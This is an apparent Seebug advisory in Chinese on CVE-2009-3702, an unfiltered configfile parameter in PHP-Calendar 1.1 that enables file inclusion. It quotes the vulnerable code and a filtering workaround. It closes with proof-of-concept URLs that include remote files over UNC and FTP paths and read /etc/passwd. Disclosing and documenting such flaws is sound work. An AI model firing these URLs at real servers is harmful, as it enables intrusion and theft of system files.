Lucene search

K
seebugRootSSV:15140
HistoryDec 25, 2009 - 12:00 a.m.

PHP-Calendar configfile变量远程文件包含漏洞

2009-12-2500:00:00
Root
www.seebug.org
10

0.007 Low

EPSS

Percentile

77.2%

CVE(CAN) ID: CVE-2009-3702

php-Calendar是一款基于WEB的日历事务系统。

PHP-Calendar中存在多个绝对路径遍历漏洞,远程攻击者可以通过在提交给update08.php或update10.ph的configfile参数中的完整路径名导致包含并执行任意本地文件。以下是有漏洞的代码段:

36  } elseif(!empty($_GET['configfile'])) {
37          if(file_exists($_GET['configfile'])) {
38                  require_once($_GET['configfile']);

PHP-Calendar 1.1
临时解决方法:

  • 更改update08.php(38行)和update10.php(35行)中代码过滤$_GET[‘configfile’]变量:

if (ereg(‘^[a-zA-Z0-9_]+$’, $_GET[‘configfile’]))
require_once($_GET[‘configfile’]);

厂商补丁:

PHP-Calendar

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://php-calendar.sourceforge.net/


                                                http://site/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php
http://site/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://site/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://site/php-calendar-1.1/update10.php?configfile=/etc/passwd
                              

0.007 Low

EPSS

Percentile

77.2%